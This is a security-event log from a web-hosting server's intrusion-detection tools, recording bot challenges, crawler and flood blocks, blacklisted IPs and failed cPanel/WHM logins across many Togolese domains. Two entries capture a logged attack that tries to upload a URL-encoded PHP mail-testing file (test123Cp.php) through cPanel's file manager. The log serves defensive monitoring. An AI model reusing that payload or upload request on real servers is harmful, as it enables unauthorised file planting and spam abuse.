rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 156.244.32.75
country_id: 241170
description:
156.244.32.75 - - [28/Jun/2026:02:38:10 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7379612&pdata=uemafblefeau6yj5jhw8adghu-cvvd4z7yte_z62izsfq3e1aavzwtj_6agyestbiqkppkco9bcn7vyi8noxmq2vg7rtrgn1-6hjpoo95bpcdvqanujdojglifnliiqovs3ktrx2vnvjxb8u-tcnm3xzgetfammmvuvp2n6aht8cdgme2it8xpagttwtknpausk95mzx&id=7fa3b767c460b54a2be4d49030b349c7 HTTP/1.1" 404 561 wellcity.tg "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:156.244.32.75


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 205.169.39.57
country_id: 6252001
description:
205.169.39.57 - - [28/Jun/2026:02:39:34 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=15832786 HTTP/1.1" 404 561 wellcity.tg "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.57


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 194.5.49.20
country_id: 2921044
description:
194.5.49.20 - - [28/Jun/2026:02:40:20 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=15832786 HTTP/1.1" 404 561 wellcity.tg "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.89 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:194.5.49.20


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 156.244.32.75
country_id: 241170
description:
156.244.32.75 - - [28/Jun/2026:02:40:17 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7379612&pdata=uemafblefeau6yj5jhw8adghu-cvvd4z7yte_z62izsfq3e1aavzwtj_6agyestbiqkppkco9bcn7vyi8noxmq2vg7rtrgn1-6hjpoo95bpcdvqanujdojglifnliiqovs3ktrx2vnvjxb8u-tcnm3xzgetfammmvuvp2n6aht8cdgme2it8xpagttwtknpausk95mzx&id=7fa3b767c460b54a2be4d49030b349c7 HTTP/1.1" 404 159 wellcity.tg "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0 Mobile/15E148 Safari/604.1" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:156.244.32.75


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 149.22.95.135
country_id: 6251999
description:
149.22.95.135 - - [28/Jun/2026:02:42:21 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=18959916 HTTP/1.1" 404 561 wellcity.tg "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.89 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:149.22.95.135


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.4
country_id: 6252001
description:
205.169.39.4 - - [28/Jun/2026:02:42:37 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9857479&pdata=http%253A%252F%252Fruralinfos.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782614555 HTTP/1.1" 302 0 ruralinfos.tg "http://ruralinfos.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.4


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 192.126.170.245
country_id: 6252001
domain: www.snb.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:192.126.170.245||TA:192.126.170.245||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 39.100.91.113
country_id: 1814991
description:
Jun 28 02:46:15 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 39.100.91.113 has been locked due to Imunify RBL


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 212.18.113.132
country_id: 6252001
domain: direct7.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:212.18.113.132||TA:212.18.113.132||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 98.182.171.161
country_id: 6252001
domain: www.snb.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:98.182.171.161||TA:98.182.171.161||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.220.100.241
country_id: 2921044
description:
Jun 28 02:54:23 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.220.100.241 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.220.100.241
country_id: 2921044
description:
2026-06-28 02:54:25 dovecot_plain authenticator failed for H=tor-exit-14.zbau.f3netze.de (tbi3zslrockfwrjmo9216i1ir6) [185.220.100.241]:43714: 535 Incorrect authentication data (set_id=sergdev@dgdn-togo.tg)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 109.79.136.11
country_id: 2963597
domain: www.djama.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.djama.tg/album/remise-de-prix-aux-gagnants-du-jeu-pronostics HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 195.63.26.125
country_id: 2635167
description:
[2026-06-28 02:56:56 +0000] info [cpaneld] 195.63.26.125 - pmalabvi "POST /execute/Fileman/save_file_content?dir=public_html&path=public_html&from_charset=UTF-8&content=%3C%3Fphp+%24s+%3D+%22false%22%3Bif+%28mail%28%24_COOKIE%5B%22email_send_id%22%5D%2C%22Cp+Send+%23%22.%24_COOKIE%5B%22it_id%22%5D%2C%22Cp+Send+Working+..+%23%22.%24_COOKIE%5B%22it_id%22%5D.%22%5CnHash%3A+%22.md5%28time%28%29.uniqid%28%29%29%29%29+%7B%24s+%3D+%22true%22%3B%7Decho+%24s%3B%3F%3E&file=test123Cp.php&file_name=test123Cp.php HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 202.79.45.66
country_id: 1282988
description:
Denial of Service (DoS) attack was discovered from 202.79.45.66: 80 connections per 30 seconds to 53 port.


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 217.181.82.152
country_id: 6251999
description:
[2026-06-28 03:02:23 +0000] info [cpaneld] 217.181.82.152 - pkyvzjjc "POST /execute/Fileman/save_file_content?dir=public_html&path=public_html&from_charset=UTF-8&content=%3C%3Fphp+%24s+%3D+%22false%22%3Bif+%28mail%28%24_COOKIE%5B%22email_send_id%22%5D%2C%22Cp+Send+%23%22.%24_COOKIE%5B%22it_id%22%5D%2C%22Cp+Send+Working+..+%23%22.%24_COOKIE%5B%22it_id%22%5D.%22%5CnHash%3A+%22.md5%28time%28%29.uniqid%28%29%29%29%29+%7B%24s+%3D+%22true%22%3B%7Decho+%24s%3B%3F%3E&file=test123Cp.php&file_name=test123Cp.php HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 5.58.85.70
country_id: 690791
description:
5.58.85.70 - - [28/Jun/2026:03:02:44 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7103378&pdata=https%253A%252F%252Fwww.snb.tg%252Ffr%252Fold%252Fgallery%252Fpage%252F5&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782615762 HTTP/2.0" 302 0 www.snb.tg "https://www.snb.tg/fr/old/gallery/page/5" "Mozilla/5.0 (Linux; Android 5.0; SM-G900P Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.8229.1163 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:5.58.85.70


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 219.100.37.245
country_id: 1861060
domain: www.snb.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:219.100.37.245||TA:219.100.37.245||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.183.93.130
country_id: 3469034
description:
Jun 28 03:05:00 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.183.93.130 has been locked due to Imunify RBL


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 89.221.206.114
country_id: 2017370
domain: direct7.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:89.221.206.114||TA:89.221.206.114||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 64.177.117.102
country_id: 6252001
description:
64.177.117.102 - - [28/Jun/2026:03:08:59 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6996585&pdata=https%253A%252F%252Fwages.tg%252Fcontact&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782616137 HTTP/2.0" 302 0 wages.tg "https://wages.tg/contact" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.7827.55 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:64.177.117.102


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 123.136.113.161
country_id: 1733045
description:
Denial of Service (DoS) attack was discovered from 123.136.113.161: 80 connections per 30 seconds to 53 port.


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 123.136.100.162
country_id: 1733045
description:
Denial of Service (DoS) attack was discovered from 123.136.100.162: 80 connections per 30 seconds to 53 port.


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 8.215.88.36
country_id: 1643084
description:
Jun 28 03:10:57 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 8.215.88.36 has been locked due to Imunify RBL


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 194.180.236.70
country_id: 6252001
domain: www.metaart.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:194.180.236.70||TA:194.180.236.70||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 52.34.76.65
country_id: 6252001
description:
52.34.76.65 - - [28/Jun/2026:03:13:31 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6723991&pdata=https%253A%252F%252F24heureinfo.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782616410 HTTP/2.0" 302 0 24heureinfo.tg "https://24heureinfo.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:52.34.76.65


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 46.253.131.133
country_id: 6252001
domain: www.metaart.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:46.253.131.133||TA:46.253.131.133||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.47.134.73
country_id: 1643084
description:
103.47.134.73 - - [28/Jun/2026:03:14:41 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13069156&pdata=https%253A%252F%252Fcfpj.tg%252Feedo-152410mitems%252Feti.htm&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782616479 HTTP/1.1" 302 0 cfpj.tg "https://cfpj.tg/eedo-152410mitems/eti.htm" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.47.134.73


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.112.254
country_id: 1880251
description:
47.128.112.254 - - [28/Jun/2026:03:15:41 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10055530&pdata=https%253A%252F%252Fmisstogo.tg%252F2024%252F01%252F04%252Fissues-with-internet-gambling-websites%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782616539 HTTP/2.0" 302 0 misstogo.tg "https://misstogo.tg/2024/01/04/issues-with-internet-gambling-websites/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.112.254


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 185.152.39.74
country_id: 2635167
description:
185.152.39.74 - - [28/Jun/2026:03:15:08 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6867050&pdata=https%253A%252F%252F24heureinfo.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782616506 HTTP/2.0" 302 0 24heureinfo.tg "https://24heureinfo.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:185.152.39.74


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 182.183.98.106
country_id: 1168579
description:
182.183.98.106 - - [28/Jun/2026:03:16:29 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10208357&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fchanteuse-togolaise-kezita%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782616587 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/chanteuse-togolaise-kezita/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.1020.1768 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:182.183.98.106


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 36.77.232.64
country_id: 1643084
description:
[2026-06-28 03:22:03 +0000] info [cpaneld] 36.77.232.64 - tqttxcvn "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tqttxcvn (has_cpuser_file failed)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 149.56.181.236
country_id: 6251999
domain: www.snb.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:149.56.181.236||TA:149.56.181.236||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 65.111.12.77
country_id: 6252001
domain: tdopz.free.netmaster.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/tdopz.free.netmaster.tg/wp-json/gravitysmtp/v1/tests/mock-data?page=gravitysmtp-settings HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.72.65
country_id: 3469034
description:
Jun 28 03:27:10 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.72.65 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 39.100.91.113
country_id: 1814991
description:
Jun 28 03:27:38 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 39.100.91.113 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.71.15
country_id: 3469034
description:
Jun 28 03:27:41 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.71.15 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.71.15
country_id: 3469034
description:
Jun 28 03:27:55 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.71.15 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.45
country_id: 6252001
description:
205.169.39.45 - - [28/Jun/2026:03:28:23 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9933927&pdata=http%253A%252F%252Fcafe.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782617302 HTTP/1.1" 302 0 cafe.tg "http://cafe.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.45


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.172.229.245
country_id: 1562822
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/dr-christian-mouala-nomme-directeur-pays-de-lonusida-au-togo/ HTTP/1.1||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.172.229.245
country_id: 1562822
domain: togodailynews.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tghttp/togodailynews.tg/dr-christian-mouala-nomme-directeur-pays-de-lonusida-au-togo/ HTTP/1.1||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77987062
name: IM360 WAF: GET add-to-cart flood pattern
abuser: 43.173.179.39
country_id: 1880251
domain: soena.tg
description:
IM360 WAF: GET add-to-cart flood pattern||URI:/store/soena/page/5/?add-to-cart=7822||QS:add-to-cart=7822||RSV:8.21||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 8.215.88.36
country_id: 1643084
description:
Jun 28 03:33:49 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 8.215.88.36 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.198.224.5
country_id: 6252001
description:
[2026-06-28 03:37:01 +0000] info [whostmgrd] 45.198.224.5 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 45.198.224.5
country_id: 6252001
description:
[2026-06-28 03:37:02 +0000] info [whostmgrd] 45.198.224.5 - root "GET /scripts2/listaccts HTTP/1.1" DEFERRED LOGIN whostmgrd: security token missing


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 154.70.87.52
country_id: 2363686
description:
Jun 28 03:40:46 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 154.70.87.52 has been locked due to Imunify RBL


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 2a01:4f8:1c18:c528::1
country_id: 2921044
domain: ese2i.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:2a01:4f8:1c18:c528::1||TA:2a01:4f8:1c18:c528::1||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 154.70.87.52
country_id: 2363686
description:
Jun 28 03:40:58 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 154.70.87.52 has been locked due to Imunify RBL


plugin: modsec
rule: 77987062
name: IM360 WAF: GET add-to-cart flood pattern
abuser: 43.166.244.192
country_id: 6252001
domain: matosshop.tg
description:
IM360 WAF: GET add-to-cart flood pattern||URI:/index.php?add-to-cart=1724||QS:add-to-cart=1724||RSV:8.21||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.198.224.5
country_id: 6252001
description:
[2026-06-28 03:44:04 +0000] info [whostmgrd] 45.198.224.5 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 45.198.224.5
country_id: 6252001
description:
[2026-06-28 03:44:05 +0000] info [whostmgrd] 45.198.224.5 - root "GET /scripts2/listaccts HTTP/1.1" DEFERRED LOGIN whostmgrd: security token missing


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.194.92.58
country_id: 6252001
domain: azenv.net
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/azenv.net/ HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 36.77.232.64
country_id: 1643084
description:
[2026-06-28 03:47:31 +0000] info [cpaneld] 36.77.232.64 - cvajhehu "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cvajhehu (has_cpuser_file failed)


plugin: modsec
rule: 77987062
name: IM360 WAF: GET add-to-cart flood pattern
abuser: 43.135.138.128
country_id: 6252001
domain: matosshop.tg
description:
IM360 WAF: GET add-to-cart flood pattern||URI:/index.php?add-to-cart=955||QS:add-to-cart=955||RSV:8.21||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.96.145
country_id: 3469034
description:
Jun 28 03:54:36 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.96.145 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 37.221.147.186
country_id: 690791
description:
Jun 28 03:54:16 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 37.221.147.186 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 217.181.83.72
country_id: 6251999
description:
[2026-06-28 03:54:58 +0000] info [cpaneld] 217.181.83.72 - cfpjusti "GET / HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.26.179.228
country_id: 3175395
description:
Jun 28 03:55:38 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.26.179.228 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 8.215.88.36
country_id: 1643084
description:
Jun 28 03:56:36 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 8.215.88.36 has been locked due to Imunify RBL


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 154.70.153.246
country_id: 953987
domain: www.snb.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:154.70.153.246||TA:154.70.153.246||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.58.65.4
country_id: 1269750
description:
Jun 28 04:00:50 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.58.65.4 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.58.65.4
country_id: 1269750
description:
Jun 28 04:00:58 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.58.65.4 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 213.244.87.125
country_id: 6254930
description:
213.244.87.125 - - [28/Jun/2026:04:07:10 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9608044&pdata=https%253A%252F%252Fcfpj.tg%252Fnadu-112435zetid.htm&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782619628 HTTP/1.1" 302 0 cfpj.tg "https://cfpj.tg/nadu-112435zetid.htm" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:213.244.87.125


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.92.153.32
country_id: 1210997
description:
103.92.153.32 - - [28/Jun/2026:04:08:19 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6997097&pdata=https%253A%252F%252Fcfpj.tg%252Fvivu-100012eitems%252Fetidm.htm&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782619697 HTTP/1.1" 302 0 cfpj.tg "https://cfpj.tg/vivu-100012eitems/etidm.htm" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.92.153.32


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 154.195.127.169
country_id: 2921044
domain: www.snb.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:154.195.127.169||TA:154.195.127.169||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 39.100.91.113
country_id: 1814991
description:
Jun 28 04:09:12 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 39.100.91.113 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.4
country_id: 6252001
description:
205.169.39.4 - - [28/Jun/2026:04:12:54 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9933467&pdata=https%253A%252F%252F24heureinfo.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782619973 HTTP/2.0" 302 0 24heureinfo.tg "https://24heureinfo.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.4


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 72.198.90.49
country_id: 6252001
description:
[2026-06-28 04:13:30 +0000] info [whostmgrd] 72.198.90.49 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 71.201.148.134
country_id: 6252001
description:
[2026-06-28 04:13:35 +0000] info [whostmgrd] 71.201.148.134 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 174.27.201.65
country_id: 6252001
description:
[2026-06-28 04:13:27 +0000] info [whostmgrd] 174.27.201.65 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 194.126.182.139
country_id: 690791
description:
Jun 28 04:18:48 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 194.126.182.139 has been locked due to Imunify RBL


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 193.42.245.151
country_id: 6252001
domain: www.shekina.tensai.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:193.42.245.151||TA:193.42.245.151||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 36.77.232.64
country_id: 1643084
description:
[2026-06-28 04:18:12 +0000] info [cpaneld] 36.77.232.64 - admin "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 8.215.88.36
country_id: 1643084
description:
Jun 28 04:19:27 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 8.215.88.36 has been locked due to Imunify RBL


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 43.173.175.132
country_id: 1880251
description:
